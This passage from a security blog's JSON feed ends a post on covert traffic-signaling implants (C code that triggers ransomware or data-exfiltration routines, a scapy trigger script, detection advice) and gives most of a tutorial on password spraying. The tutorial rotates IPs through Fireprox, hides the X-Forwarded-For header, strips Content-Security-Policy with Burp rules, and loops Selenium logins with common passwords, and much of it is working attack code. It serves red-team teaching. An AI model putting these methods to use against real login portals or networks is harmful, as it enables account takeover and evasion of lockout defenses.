class=\"hljs-built_in\">printf\u003c/span>(\u003cspan class=\"hljs-string\">&quot;  Next ten bytes: &quot;\u003c/span>);\n                \u003cspan class=\"hljs-built_in\">print_hex\u003c/span>((\u003cspan class=\"hljs-type\">const\u003c/span> \u003cspan class=\"hljs-type\">unsigned\u003c/span> \u003cspan class=\"hljs-type\">char\u003c/span>*)(udpData + i + passLength), \u003cspan class=\"hljs-number\">10\u003c/span>);\n                \u003cspan class=\"hljs-keyword\">if\u003c/span> (\u003cspan class=\"hljs-built_in\">memcmp\u003c/span>(udpData + i + passLength, signal1, \u003cspan class=\"hljs-number\">10\u003c/span>) == \u003cspan class=\"hljs-number\">0\u003c/span>) {\n                    \u003cspan class=\"hljs-built_in\">clean_presence\u003c/span>();\n                }\n                \u003cspan class=\"hljs-keyword\">else\u003c/span> \u003cspan class=\"hljs-keyword\">if\u003c/span> (\u003cspan class=\"hljs-built_in\">memcmp\u003c/span>(udpData + i + passLength, signal2, \u003cspan class=\"hljs-number\">10\u003c/span>) == \u003cspan class=\"hljs-number\">0\u003c/span>) {\n                    \u003cspan class=\"hljs-built_in\">deploy_ransomware\u003c/span>();\n                }\n                \u003cspan class=\"hljs-keyword\">else\u003c/span> \u003cspan class=\"hljs-keyword\">if\u003c/span> (\u003cspan class=\"hljs-built_in\">memcmp\u003c/span>(udpData + i + passLength, signal3, \u003cspan class=\"hljs-number\">10\u003c/span>) == \u003cspan class=\"hljs-number\">0\u003c/span>) {\n                    \u003cspan class=\"hljs-built_in\">exfiltrate_data\u003c/span>();\n                }\n            }\n            \u003cspan class=\"hljs-keyword\">break\u003c/span>;\n        }\n    }\n}\n\u003c/code>\u003c/pre>\n\u003cp>The following Python script sends a UDP packet with the byte combo needed to trigger the \u003ccode>exfiltrate_data\u003c/code> method.\u003c/p>\n\u003cpre>\u003ccode class=\"language-python\">\u003cspan class=\"hljs-keyword\">from\u003c/span> scapy.\u003cspan class=\"hljs-built_in\">all\u003c/span> \u003cspan class=\"hljs-keyword\">import\u003c/span> IP, UDP, Raw, send\n\u003cspan class=\"hljs-keyword\">import\u003c/span> random\n\ntarget_ip = \u003cspan class=\"hljs-string\">&quot;192.168.56.1&quot;\u003c/span>\ntarget_port = \u003cspan class=\"hljs-number\">123\u003c/span>\npayload = \u003cspan class=\"hljs-built_in\">bytes\u003c/span>([\n    \u003cspan class=\"hljs-number\">0x3A\u003c/span>, \u003cspan class=\"hljs-number\">0xF1\u003c/span>, \u003cspan class=\"hljs-number\">0xD2\u003c/span>, \u003cspan class=\"hljs-number\">0x84\u003c/span>, \u003cspan class=\"hljs-number\">0xB7\u003c/span>, \u003cspan class=\"hljs-number\">0xC9\u003c/span>, \u003cspan class=\"hljs-number\">0x5E\u003c/span>, \u003cspan class=\"hljs-number\">0x6F\u003c/span>, \u003cspan class=\"hljs-number\">0x12\u003c/span>, \u003cspan class=\"hljs-number\">0xA3\u003c/span>,\n    \u003cspan class=\"hljs-number\">0x52\u003c/span>, \u003cspan class=\"hljs-number\">0xF8\u003c/span>, \u003cspan class=\"hljs-number\">0x3C\u003c/span>, \u003cspan class=\"hljs-number\">0x6B\u003c/span>, \u003cspan class=\"hljs-number\">0x94\u003c/span>, \u003cspan class=\"hljs-number\">0x0A\u003c/span>, \u003cspan class=\"hljs-number\">0xE1\u003c/span>, \u003cspan class=\"hljs-number\">0xD7\u003c/span>, \u003cspan class=\"hljs-number\">0x2F\u003c/span>, \u003cspan class=\"hljs-number\">0x8E\u003c/span>\n])\nprefix = \u003cspan class=\"hljs-built_in\">bytes\u003c/span>([random.randint(\u003cspan class=\"hljs-number\">0\u003c/span>, \u003cspan class=\"hljs-number\">255\u003c/span>) \u003cspan class=\"hljs-keyword\">for\u003c/span> _ \u003cspan class=\"hljs-keyword\">in\u003c/span> \u003cspan class=\"hljs-built_in\">range\u003c/span>(random.randint(\u003cspan class=\"hljs-number\">10\u003c/span>, \u003cspan class=\"hljs-number\">20\u003c/span>))])\nsuffix = \u003cspan class=\"hljs-built_in\">bytes\u003c/span>([random.randint(\u003cspan class=\"hljs-number\">0\u003c/span>, \u003cspan class=\"hljs-number\">255\u003c/span>) \u003cspan class=\"hljs-keyword\">for\u003c/span> _ \u003cspan class=\"hljs-keyword\">in\u003c/span> \u003cspan class=\"hljs-built_in\">range\u003c/span>(random.randint(\u003cspan class=\"hljs-number\">10\u003c/span>, \u003cspan class=\"hljs-number\">20\u003c/span>))])\nfinal_payload = prefix + payload + suffix\n\npacket = IP(dst=target_ip) / UDP(dport=target_port) / Raw(load=final_payload)\nsend(packet, verbose=\u003cspan class=\"hljs-number\">1\u003c/span>)\n\u003c/code>\u003c/pre>\n\u003cfigure style=\"--figure-width:1055px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/traffic-signaling/image-03-720w.webp 720w, https://benkofman.com/traffic-signaling/image-03-1055w.webp 1055w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/traffic-signaling/image-03.png\" alt=\"Socket filter received signal to exfiltrate data\" width=\"1055\" height=\"329\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Socket filter received signal to exfiltrate data\u003c/figcaption>\u003c/figure>\n\n\u003ch2 id=\"detective-measures\">Detective Measures\u003c/h2>\n\u003cp>Monitor network traffic for abnormal connection combinations that do not follow standard flow patterns. Behavioral analytics solutions and stateful firewalls can perform some of this analysis. Create detections around malformed packets that do not conform to their destination port’s application protocol structure, or packets that originate from the wrong source port (such as NTP datagrams that are not both to and from port 123). This may assist in finding covert signals attempting to blend in.\u003c/p>\n\u003cp>Alert on untrusted programs that create raw sockets (\u003ccode>AF_INET\u003c/code>,\u003ccode>SOCK_RAW\u003c/code>) or use packet filter libraries. On Windows, detect NDIS (Network Driver Interface Specification) driver installations using the \u003ccode>Get-NetAdapterBinding\u003c/code> PowerShell Cmdlet and monitor for \u003ccode>PF_PACKET\u003c/code> sockets on Linux.\u003c/p>\n\u003ch2 id=\"references\">References\u003c/h2>\n\u003cul>\n\u003cli>\u003ca href=\"https://attack.mitre.org/techniques/T1205/\">\u003cstrong>MITRE ATT&amp;CK — Traffic Signaling\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://attack.mitre.org/techniques/T1205/001/\">\u003cstrong>MITRE ATT&amp;CK — Port Knocking\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://attack.mitre.org/techniques/T1205/002/\">\u003cstrong>MITRE ATT&amp;CK — Socket Filters\u003c/strong>\u003c/a>\u003c/li>\n\u003c/ul>\n","summary":"A technical deep-dive on this MITRE ATT&CK threat actor technique.","image":"https://benkofman.com/traffic-signaling/cover.jpeg","date_published":"2025-06-29T12:00:00Z"},{"id":"https://benkofman.com/password-spraying.html","url":"https://benkofman.com/password-spraying.html","title":"Password Spraying with Selenium and Fireprox","content_html":"\u003cp>Password spraying is an attack technique that brute-forces a small set of predictable passwords across a set of likely valid user accounts. Many applications employ account lockouts to mitigate the threat of dictionary attacks on their authentication portals. Suppose an attacker obtains a list of likely valid user accounts but cannot try many passwords. In that case, they may resort to password spraying and choose a few passwords with the highest chance of being valid across the target usernames. Staying under the lockout limit also maintains stealth. The larger the list of targets, the higher the chance a user is using a weak password.\u003c/p>\n\u003cp>Only perform password spraying on targets you have permission to test.\u003c/p>\n\u003ch2 id=\"building-the-wordlists\">Building the wordlists\u003c/h2>\n\u003cp>The username list can be built from various sources. If the login portal has a username enumeration vulnerability, the attacker can brute-force a large list of potential usernames to determine which are valid. Social media sites like LinkedIn can be scraped to retrieve a list of people who work for an organization, and those names can be applied to the company email format. Data breach dumps may also contain a list of valid usernames, email addresses, or passwords.\u003c/p>\n\u003cp>The attempted passwords should conform to the password policy used by the organization or application. Common passwords, keyboard patterns, popular phrases, or names are often a good choice, but it depends on the target. If a particular keyword, such as the company’s name, appears in many data breaches, that may also be a solid choice as it could be reused across the organization. Capital letter requirements are usually used for the first character, “1” is generally used for the number requirements, and “!” is the most popular special character. If the authentication system does not employ a denylist of weak passwords, “Password1!” would be a good choice if the site requires a minimum of 10 characters.\u003c/p>\n\u003ch2 id=\"setting-up-fireprox\">Setting up Fireprox\u003c/h2>\n\u003cp>IP-based lockout is another protection mechanism used to defend against brute-force attacks. If too many failed login attempts originate from the same IP address, that address will be blocked. Attackers would need to send their traffic from many different IP addresses to be able to conduct password spraying. One popular open-source tool for IP rotation is \u003ca href=\"https://github.com/ustayready/fireprox\">\u003cstrong>Fireprox\u003c/strong>\u003c/a>. From the project’s README: “FireProx leverages the AWS API Gateway to create pass-through proxies that rotate the source IP address with every request.” So, traffic would appear to come from many different AWS IP addresses.\u003c/p>\n\u003cp>To create a proxy, install Fireprox and create an AWS account. An IAM user should be created with the \u003ccode>AmazonAPIGatewayAdministrator\u003c/code> policy attached, and access keys should be generated for the user. A proxy can be created using the following command:\u003c/p>\n\u003cpre>\u003ccode class=\"language-bash\">$ python3 fire.py --secret_access_key [SECRET_ACCESS_KEY] \\\n    --access_key [ACCESS_KEY] \\\n    --region us-east-1 \\\n    --\u003cspan class=\"hljs-built_in\">command\u003c/span> create \\\n    --url https://benkofman.com\n\nCreating =&gt; https://benkofman.com...\n[2024-12-24 07:28:51-05:00] (zrn9b63jch) fireprox_benkofman =&gt; \n    https://zrn9b63jch.execute-api.us-east-1.amazonaws.com/fireprox/ (https://benkofman.com)\n\u003c/code>\u003c/pre>\n\u003cp>Any request sent to the proxy URL will be forwarded to the target URL, and each request will come from a different IP address.\u003c/p>\n\u003cfigure style=\"--figure-width:685px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/password-spraying/image-01-685w.webp 685w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/password-spraying/image-01.png\" alt=\"My website’s broken HTML returned\" width=\"685\" height=\"521\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>My website’s broken HTML returned\u003c/figcaption>\u003c/figure>\n\n\u003cp>According to this \u003ca href=\"https://github.com/joetek/aws-ip-ranges-json/blob/master/ip-ranges-api-gateway.json\">\u003cstrong>range tracker\u003c/strong>\u003c/a>, the \u003ccode>us-east-1\u003c/code> region’s AWS API Gateway Network Border Group contains \u003ccode>13,312\u003c/code> external IPs. So, for very large targets, multiple regions may be necessary, as some IP addresses within the range may be reused.\u003c/p>\n\u003ch2 id=\"burp-suite-proxy-rules\">Burp Suite proxy rules\u003c/h2>\n\u003cp>The screenshot above shows that some of the site’s static resources were not loaded. Inspecting the developer console shows 403 Forbidden errors for the CSS file and images.\u003c/p>\n\u003cfigure style=\"--figure-width:367px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/password-spraying/image-02-367w.webp 367w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/password-spraying/image-02.png\" alt=\"403 responses for any paths on the API gateway subdomain that’s not ‘/fireprox’\" width=\"367\" height=\"192\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>403 responses for any paths on the API gateway subdomain that’s not ‘/fireprox’\u003c/figcaption>\u003c/figure>\n\n\u003cp>Since these resources’ locations are relative to the base URL, the browser requests them from the API gateway subdomain used to proxy traffic to the target site. However, no proxy has been created for each of those paths, only the “/fireprox” path. While proxying traffic through Burp Suite, we can use match and replace rules to modify each request to ensure all traffic sent to the proxy reaches the correct location on the target.\u003c/p>\n\u003cp>Most of the following modifications can be done using standard match and replace rules, but we will implement them using Bambda match and replace rules introduced on December 19th, 2024. They offer more flexibility for modifying requests in flight using the \u003ca href=\"https://portswigger.github.io/burp-extensions-montoya-api/javadoc/index.html\">\u003cstrong>Montoya API\u003c/strong>\u003c/a>, the Java interface that implements all Burp functionality that can be leveraged to build extensions.\u003c/p>\n\u003cfigure style=\"--figure-width:1140px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/password-spraying/image-03-720w.webp 720w, https://benkofman.com/password-spraying/image-03-1140w.webp 1140w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/password-spraying/image-03.png\" alt=\"Default bambda editor UI. It includes suggestions, error output, and a test editor.\" width=\"1140\" height=\"785\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Default bambda editor UI. It includes suggestions, error output, and a test editor.\u003c/figcaption>\u003c/figure>\n\n\u003cp>Bambda rules can be for requests or responses. They must return a \u003ccode>requestResponse.request()\u003c/code> or \u003ccode>requestResponse.response()\u003c/code> object depending on the type of rule. The base rule returns an unmodified request or response object. The following request bambda will fix the issue where not all resources are loaded by prepending all requests to the API Gateway URL with \u003ccode>/fireprox\u003c/code>.\u003c/p>\n\u003cpre>\u003ccode class=\"language-java\">\u003cspan class=\"hljs-keyword\">if\u003c/span> (requestResponse.request().headerValue(\u003cspan class=\"hljs-string\">&quot;Host&quot;\u003c/span>).equals(\u003cspan class=\"hljs-string\">&quot;zrn9b63jch.execute-api.us-east-1.amazonaws.com&quot;\u003c/span>)) {\n    \u003cspan class=\"hljs-keyword\">return\u003c/span> requestResponse.request().withPath(\u003cspan class=\"hljs-string\">&quot;/fireprox&quot;\u003c/span> + requestResponse.request().path());\n} \u003cspan class=\"hljs-keyword\">else\u003c/span> {\n    \u003cspan class=\"hljs-keyword\">return\u003c/span> requestResponse.request();\n}\n\u003c/code>\u003c/pre>\n\u003cfigure style=\"--figure-width:1112px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/password-spraying/image-04-720w.webp 720w, https://benkofman.com/password-spraying/image-04-1112w.webp 1112w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/password-spraying/image-04.png\" alt=\"‘/fireprox’ prepended and all resources respond with a 200 OK\" width=\"1112\" height=\"218\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>‘/fireprox’ prepended and all resources respond with a 200 OK\u003c/figcaption>\u003c/figure>\n\n\u003cp>API Gateway appends some additional headers to requests before sending them to the target URL. We can inspect those additional headers by creating another proxy for Burp Collaborator and reviewing the HTTP request data. One of those headers will be problematic for password spraying if the target application records it…\u003c/p>\n\u003cfigure style=\"--figure-width:635px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/password-spraying/image-05-635w.webp 635w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/password-spraying/image-05.png\" alt=\"X-Forwarded-For HTTP header reveals the source IP address of the original request (I used a VPN)\" width=\"635\" height=\"322\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>X-Forwarded-For HTTP header reveals the source IP address of the original request (I used a VPN)\u003c/figcaption>\u003c/figure>\n\n\u003cp>The Fireprox README contains the solution to masking this header. As of this writing, adding a custom \u003ccode>X-My-X-Forwarded-For\u003c/code> header will replace the \u003ccode>X-Forwarded-For\u003c/code> header added by API Gateway. To avoid repetition, we can amend the request bambda to add the header to the HTTP request with a random, high-entropy integer.\u003c/p>\n\u003cpre>\u003ccode class=\"language-java\">\u003cspan class=\"hljs-keyword\">if\u003c/span> (requestResponse.request().headerValue(\u003cspan class=\"hljs-string\">&quot;Host&quot;\u003c/span>).equals(\u003cspan class=\"hljs-string\">&quot;zrn9b63jch.execute-api.us-east-1.amazonaws.com&quot;\u003c/span>)) {\n    \u003cspan class=\"hljs-type\">Random\u003c/span> \u003cspan class=\"hljs-variable\">random\u003c/span> \u003cspan class=\"hljs-operator\">=\u003c/span> \u003cspan class=\"hljs-keyword\">new\u003c/span> \u003cspan class=\"hljs-title class_\">Random\u003c/span>();\n    \u003cspan class=\"hljs-type\">String\u003c/span> \u003cspan class=\"hljs-variable\">random_number\u003c/span> \u003cspan class=\"hljs-operator\">=\u003c/span> String.valueOf(random.nextInt(\u003cspan class=\"hljs-number\">1000000000\u003c/span>) + \u003cspan class=\"hljs-number\">1\u003c/span>);\n    \u003cspan class=\"hljs-keyword\">return\u003c/span> requestResponse.request().withPath(\u003cspan class=\"hljs-string\">&quot;/fireprox&quot;\u003c/span> + requestResponse.request().path())\n        .withAddedHeader(\u003cspan class=\"hljs-string\">&quot;X-My-X-Forwarded-For&quot;\u003c/span>,random_number);\n} \u003cspan class=\"hljs-keyword\">else\u003c/span> {\n    \u003cspan class=\"hljs-keyword\">return\u003c/span> requestResponse.request();\n}\n\u003c/code>\u003c/pre>\n\u003ch2 id=\"custom-rules-for-the-target-site\">Custom rules for the target site\u003c/h2>\n\u003cp>The target site may require additional match and replace rules to successfully proxy all requests made by the login page. A few possible scenarios that would require additional modification are:\u003c/p>\n\u003cul>\n\u003cli>The target site issues a Content-Security-Policy header that the API Gateway subdomain violates\u003c/li>\n\u003cli>The target site issues a redirect to another path on the site, leaving the proxy site\u003c/li>\n\u003c/ul>\n\u003cp>To demonstrate, I created another proxy for \u003ccode>https://doesntexist.okta.com\u003c/code>. Okta portals for organizations are generally accessed via their okta.com subdomain. However, Okta will serve a dummy login site for invalid subdomains, which we can use for testing.\u003c/p>\n\u003cp>Server CORS policies will likely be violated since the proxy site is not the same origin as the target site. Although response headers can be modified to bypass CORS, we can do all testing in a Chrome instance with CORS disabled using the command \u003ccode>chrome --disable-web-security --user-data-dir=/tmp/chrome_testing_data\u003c/code>. Adjust for Windows as required.\u003c/p>\n\u003cp>After swapping the API Gateway subdomain in the request bambda, I browsed to the new proxy and attempted a test login. While the page loaded without issues, the site’s Content-Security-Policy caused Chrome to block the login request.\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/password-spraying/image-06-720w.webp 720w, https://benkofman.com/password-spraying/image-06-1440w.webp 1440w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/password-spraying/image-06.png\" alt=\"CSP violated when doesntexist.okta.com is requested from the API Gateway URL\" width=\"1600\" height=\"1186\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>CSP violated when doesntexist.okta.com is requested from the API Gateway URL\u003c/figcaption>\u003c/figure>\n\n\u003cp>To bypass this, we can create a response bambda to remove the Content-Security-Policy header from responses to requests to the API Gateway URL.\u003c/p>\n\u003cpre>\u003ccode class=\"language-java\">\u003cspan class=\"hljs-keyword\">if\u003c/span> (requestResponse.request().headerValue(\u003cspan class=\"hljs-string\">&quot;Host&quot;\u003c/span>).equals(\u003cspan class=\"hljs-string\">&quot;gg9j5bfyxd.execute-api.us-east-1.amazonaws.com&quot;\u003c/span>)) {\n    \u003cspan class=\"hljs-keyword\">return\u003c/span> requestResponse.response().withRemovedHeader(\u003cspan class=\"hljs-string\">&quot;Content-Security-Policy&quot;\u003c/span>);\n} \u003cspan class=\"hljs-keyword\">else\u003c/span> {\n    \u003cspan class=\"hljs-keyword\">return\u003c/span> requestResponse.response();\n}\n\u003c/code>\u003c/pre>\n\u003cp>The login request can now made, and no CSP errors are thrown. However, the login request is made by JavaScript and sent directly to the target URL, bypassing the proxy site.\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/password-spraying/image-07-720w.webp 720w, https://benkofman.com/password-spraying/image-07-1440w.webp 1440w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/password-spraying/image-07.png\" alt=\"The browser is happy, but the proxy is pointless now\" width=\"1600\" height=\"1144\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>The browser is happy, but the proxy is pointless now\u003c/figcaption>\u003c/figure>\n\n\u003cp>We need to add another request bambda, to send requests made directly to the target to the proxy instead. The below bambda creates a new HTTP request to the proxy URL instead of the target URL, copying the original request headers, body, and method. An \u003ccode>X-My-X-Forwarded-For\u003c/code> header is added and the Host header is updated.\u003c/p>\n\u003cpre>\u003ccode class=\"language-java\">\u003cspan class=\"hljs-keyword\">if\u003c/span> (requestResponse.request().headerValue(\u003cspan class=\"hljs-string\">&quot;Host&quot;\u003c/span>).equals(\u003cspan class=\"hljs-string\">&quot;doesntexist.okta.com&quot;\u003c/span>)) {\n    \u003cspan class=\"hljs-type\">String\u003c/span> \u003cspan class=\"hljs-variable\">new_url\u003c/span> \u003cspan class=\"hljs-operator\">=\u003c/span> \u003cspan class=\"hljs-string\">&quot;https://gg9j5bfyxd.execute-api.us-east-1.amazonaws.com/fireprox&quot;\u003c/span> + requestResponse.request().path();\n    \u003cspan class=\"hljs-type\">Random\u003c/span> \u003cspan class=\"hljs-variable\">random\u003c/span> \u003cspan class=\"hljs-operator\">=\u003c/span> \u003cspan class=\"hljs-keyword\">new\u003c/span> \u003cspan class=\"hljs-title class_\">Random\u003c/span>();\n    \u003cspan class=\"hljs-type\">String\u003c/span> \u003cspan class=\"hljs-variable\">random_number\u003c/span> \u003cspan class=\"hljs-operator\">=\u003c/span> String.valueOf(random.nextInt(\u003cspan class=\"hljs-number\">1000000000\u003c/span>) + \u003cspan class=\"hljs-number\">1\u003c/span>;);\n    \u003cspan class=\"hljs-keyword\">return\u003c/span> HttpRequest.httpRequestFromUrl(new_url).withUpdatedHeaders(requestResponse.request().headers())\n        .withBody(requestResponse.request().body())\n        .withAddedHeader(\u003cspan class=\"hljs-string\">&quot;X-My-X-Forwarded-For&quot;\u003c/span>,random_number)\n        .withMethod(requestResponse.request().method())\n        .withUpdatedHeader(\u003cspan class=\"hljs-string\">&quot;Host&quot;\u003c/span>,\u003cspan class=\"hljs-string\">&quot;gg9j5bfyxd.execute-api.us-east-1.amazonaws.com&quot;\u003c/span>);\n} \u003cspan class=\"hljs-keyword\">else\u003c/span> {\n    \u003cspan class=\"hljs-keyword\">return\u003c/span> requestResponse.request();\n}\n\u003c/code>\u003c/pre>\n\u003cp>Now, all requests are sent through the proxy and the login request is made successfully.\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/password-spraying/image-08-720w.webp 720w, https://benkofman.com/password-spraying/image-08-1235w.webp 1235w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/password-spraying/image-08.png\" alt=\"Proxy history after all the custom rules are applied\" width=\"1235\" height=\"562\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Proxy history after all the custom rules are applied\u003c/figcaption>\u003c/figure>\n\n\u003ch2 id=\"automating-logins-with-selenium\">Automating logins with Selenium\u003c/h2>\n\u003cp>Once the proxy is set up and the match and replace rules are created, the login attempts can now be automated. This could be possible using something simple like Python Requests if the login form is basic and only the HTML needs to be parsed. However, many login forms, like single-sign-on portals such as Okta, are more complex, have multiple steps, and require JavaScript to be executed. To automate this process, browser automation tools exist which control a browser process (called a “driver”) to test website functionality with flexibility and at scale.\u003c/p>\n\u003cp>If the login form implements a CAPTCHA, browser automation tools and scripted HTTP requests will not be of any use, unless the CAPTCHA can be bypassed.\u003c/p>\n\u003cp>The \u003ca href=\"https://github.com/SeleniumHQ/selenium\">\u003cstrong>Selenium\u003c/strong>\u003c/a> project is one of the most popular of these tools. It is a browser automation ecosystem with support for a variety of languages. The easiest way to get up and running with Selenium is to use the \u003ca href=\"https://www.selenium.dev/selenium-ide/\">\u003cstrong>Selenium IDE\u003c/strong>\u003c/a>, a Chrome and Firefox extension that can record browser actions and output the script. Below is a recording of using the Selenium IDE to record the Okta site login and export to a Python script.\u003c/p>\n\u003cfigure style=\"--figure-width:800px\">\u003cpicture>\u003csource media=\"(prefers-reduced-motion: reduce)\" srcset=\"https://benkofman.com/password-spraying/image-09-still.png\">\u003cimg src=\"https://benkofman.com/password-spraying/image-09.gif\" alt=\"Password Spraying with Selenium and Fireprox — The Selenium project is one of the most popular of these tools. It is a browser automation ecosystem with support for a variety of\" width=\"800\" height=\"556\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003c/figure>\n\n\u003cp>The simplified exported Python script is below:\u003c/p>\n\u003cpre>\u003ccode class=\"language-python\">\u003cspan class=\"hljs-comment\"># Generated by Selenium IDE\u003c/span>\n\u003cspan class=\"hljs-keyword\">from\u003c/span> selenium \u003cspan class=\"hljs-keyword\">import\u003c/span> webdriver\n\u003cspan class=\"hljs-keyword\">from\u003c/span> selenium.webdriver.common.by \u003cspan class=\"hljs-keyword\">import\u003c/span> By\n\n\u003cspan class=\"hljs-keyword\">class\u003c/span> \u003cspan class=\"hljs-title class_\">TestLogin\u003c/span>():\n    \u003cspan class=\"hljs-keyword\">def\u003c/span> \u003cspan class=\"hljs-title function_\">setup_method\u003c/span>(\u003cspan class=\"hljs-params\">self\u003c/span>):\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver = webdriver.Chrome()\n  \n    \u003cspan class=\"hljs-keyword\">def\u003c/span> \u003cspan class=\"hljs-title function_\">teardown_method\u003c/span>(\u003cspan class=\"hljs-params\">self\u003c/span>):\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.quit()\n  \n    \u003cspan class=\"hljs-keyword\">def\u003c/span> \u003cspan class=\"hljs-title function_\">test_login\u003c/span>(\u003cspan class=\"hljs-params\">self\u003c/span>):\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.get(\u003cspan class=\"hljs-string\">&quot;https://gg9j5bfyxd.execute-api.us-east-1.amazonaws.com/&quot;\u003c/span>)\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.set_window_size(\u003cspan class=\"hljs-number\">1200\u003c/span>, \u003cspan class=\"hljs-number\">1021\u003c/span>)\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.find_element(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-username&quot;\u003c/span>).send_keys(\u003cspan class=\"hljs-string\">&quot;test&quot;\u003c/span>)\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.find_element(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-password&quot;\u003c/span>).send_keys(\u003cspan class=\"hljs-string\">&quot;test&quot;\u003c/span>)\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.find_element(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-submit&quot;\u003c/span>).click()\n\u003c/code>\u003c/pre>\n\u003cp>We can create an object of the TestLogin class to spawn a Chrome webdriver (assuming Chrome is installed) using Python and attempt a login.\u003c/p>\n\u003cpre>\u003ccode class=\"language-bash\">\u003cspan class=\"hljs-keyword\">if\u003c/span> __name__ == \u003cspan class=\"hljs-string\">&quot;__main__&quot;\u003c/span>:\n    test_login = TestLogin()        \u003cspan class=\"hljs-comment\"># Create an object of the TestLogin class\u003c/span>\n    test_login.setup_method()       \u003cspan class=\"hljs-comment\"># Initialize the webdriver\u003c/span>\n    test_login.test_login()         \u003cspan class=\"hljs-comment\"># Execute the login attempt\u003c/span>\n    test_login.teardown_method()    \u003cspan class=\"hljs-comment\"># Close the webdriver\u003c/span>\n\u003c/code>\u003c/pre>\n\u003cp>To automate many login attempts, we can create a loop that spawns a new webdriver for each attempt.\u003c/p>\n\u003cpre>\u003ccode class=\"language-python\">\u003cspan class=\"hljs-keyword\">if\u003c/span> __name__ == \u003cspan class=\"hljs-string\">&quot;__main__&quot;\u003c/span>:\n    \u003cspan class=\"hljs-keyword\">with\u003c/span> \u003cspan class=\"hljs-built_in\">open\u003c/span>(\u003cspan class=\"hljs-string\">&quot;usernames.txt&quot;\u003c/span>, \u003cspan class=\"hljs-string\">&quot;r&quot;\u003c/span>) \u003cspan class=\"hljs-keyword\">as\u003c/span> f:\n        \u003cspan class=\"hljs-keyword\">for\u003c/span> username \u003cspan class=\"hljs-keyword\">in\u003c/span> f:\n            \u003cspan class=\"hljs-keyword\">for\u003c/span> password \u003cspan class=\"hljs-keyword\">in\u003c/span> [\u003cspan class=\"hljs-string\">&#x27;Password1!&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;Qwertyuiop&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;Iloveyou!&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;1234567890&#x27;\u003c/span>]:\n                test_login = TestLogin()\n                test_login.setup_method()\n                test_login.test_login(username, password)\n                test_login.teardown_method()\n\u003c/code>\u003c/pre>\n\u003cp>This will require modifying the \u003ccode>test_login\u003c/code> method to accept the username and password as arguments.\u003c/p>\n\u003cpre>\u003ccode class=\"language-scss\">def \u003cspan class=\"hljs-built_in\">test_login\u003c/span>(self, username, password):\n    self.driver.\u003cspan class=\"hljs-built_in\">get\u003c/span>(\u003cspan class=\"hljs-string\">&quot;https://gg9j5bfyxd.execute-api.us-east-1.amazonaws.com/&quot;\u003c/span>)\n    self.driver.\u003cspan class=\"hljs-built_in\">set_window_size\u003c/span>(\u003cspan class=\"hljs-number\">1200\u003c/span>, \u003cspan class=\"hljs-number\">1021\u003c/span>)\n    self.driver.\u003cspan class=\"hljs-built_in\">find_element\u003c/span>(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-username&quot;\u003c/span>).\u003cspan class=\"hljs-built_in\">send_keys\u003c/span>(username)\n    self.driver.\u003cspan class=\"hljs-built_in\">find_element\u003c/span>(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-password&quot;\u003c/span>).\u003cspan class=\"hljs-built_in\">send_keys\u003c/span>(password)\n    self.driver.\u003cspan class=\"hljs-built_in\">find_element\u003c/span>(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-submit&quot;\u003c/span>).\u003cspan 